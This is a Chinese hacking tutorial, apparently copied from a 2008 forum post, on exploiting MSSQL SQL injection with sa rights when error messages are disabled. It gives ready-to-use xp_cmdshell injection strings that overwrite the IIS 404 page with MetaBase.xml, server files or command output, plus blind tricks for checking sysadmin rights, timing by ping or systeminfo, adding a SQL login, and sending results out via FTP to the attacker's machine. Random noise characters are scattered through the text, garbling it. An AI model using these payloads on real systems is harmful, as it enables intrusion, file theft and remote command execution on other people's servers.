遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。, N# n) b# e5 I `0 ~
" J# L) h0 J+ |& H 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
3 @9 [& g, M3 Q
7 o* y2 @2 X; b 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。 B9 X8 Y) B) p: f( J
0 N3 C; K: n' Q& t/ h) t; N8 D IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm0 J4 k( r b' [7 j6 {; R$ @2 C# {
6 O% A$ D; E; [6 m% F4 ]
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--& ]9 ] T# ]0 T/ ~
2 Z% c( H5 H* ?+ o- r; j. W' Z ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。5 O' { e) f" E+ K* ]' _$ M9 O
' S( ~( l$ X' m) t2 b, |7 g* _
执行命令得到回显
1 j. e8 c" t; Q0 g" K4 t. s- }: N' x: O9 E& |
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
+ i2 `+ t: V/ R4 i G; V, R7 x s9 u U' j
得到文件也shi相同,把文件copy到404b.htm就行了
1 O, [7 D) R! H4 u( X7 C/ |; y i) Q' s; E8 E
by 28ice, 2008/6/26# U( O# E( P6 C' G4 c
: l2 @& I4 v S- ` 摘自 28度的冰' W0 i4 J/ z! P# {3 o
$ K/ l9 V, K& d3 g
盲注判断权限和操作系统版本" ~0 W2 L2 V& s, e4 v
$ e" T1 f* `6 C# V 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
+ u0 C) h( h6 L& W$ p- k x. o$ \3 k
最简单的,可能以用这样的方法:
. O+ u& n% Y! h+ T/ L9 c% A) I% z
1=(select IS_SRVROLEMEMBER(’sysadmin’))7 F9 v h4 ]& e, D# @: _
, Q: {4 T& N- t; [ n
当然,有些情况下,这个方法并不奏效。& r" Y# x; F0 f1 }* C! X
( a& q5 L! y* l e 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。 U0 N( s9 W1 ]9 g
1 q9 y* F- p1 f4 w
有个3办法可能以解决这个问题; Y. _% K4 }5 G0 ~+ u% ~! m7 d" y
0 A# P5 q9 `0 u7 [' r a.把执行结果写到404b.htm,具体请看我的上一篇文章3 e3 y8 X( A% E7 |, A
3 _) R+ F; I( _- Z& S3 W+ v& D
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟3 S' z; S5 o$ |. ^ W& f$ N* Z9 j
- h! A+ s0 D- Q c.如果1433端口可能以连接,那干脆新建个sql登录/ k6 X1 @% O# x2 \' b: ~1 _( N
: k1 H ^" }" ~& z% d' \' J5 h
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数2 V/ w9 X0 p9 D& G5 h/ M
% o8 C0 ?. Q' y
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下, S0 Y0 T/ n; z9 ?* c5 j
5 {$ Q9 l2 Y/ F6 n# R/ T5 w9 e
很简单
* Z& |2 `: n4 n' M! z
! ^- T6 V1 \9 b. X$ N% o/ @4 Y 执行systeminfo
, |' J4 y2 G+ g! w9 Z3 k }1 _* r3 t! r7 l& \) M, n, g
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |